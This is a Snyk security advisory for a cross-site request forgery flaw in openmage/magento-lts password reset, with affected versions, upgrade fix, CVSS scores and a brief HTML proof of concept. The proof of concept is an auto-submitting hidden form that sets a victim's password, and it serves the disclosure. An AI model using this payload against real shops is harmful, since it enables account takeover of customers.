Cross-site Request Forgery (CSRF) Affecting openmage/magento-lts package, versions <19.4.22 >=20.0.0, <20.0.19


Severity

Recommended
0.0
low
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    EPSS
    0.08% (36th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PHP-OPENMAGEMAGENTOLTS-3249199
  • published 27 Jan 2023
  • disclosed 26 Jan 2023
  • credit xenx

How to fix?

Upgrade openmage/magento-lts to version 19.4.22, 20.0.19 or higher.

Overview

openmage/magento-lts is a This repository is the home of an unofficial community-driven project.

Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) in the resetPasswordAction() function in AccountController.php. An attacker can change a user's password by convincing them to request a password reset with the "forgot password" feature, and then sending a malicious POST request before they've set a new password.

PoC

<html> 
  <body>
    <form  action="https://demo.openmage.org/customer/account/resetpasswordpost/" method="POST">
      <input type="hidden" name="password" value="password123" />
      <input type="hidden" name="confirmation" value="password123" />
    </form>
   <script>document.forms[0].submit()</script>
  </body>
</html>

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
3.5 low
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    Low
  • User Interaction (UI)
    Required
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    None
  • Integrity (I)
    Low
  • Availability (A)
    None
Expand this section

NVD

4.3 medium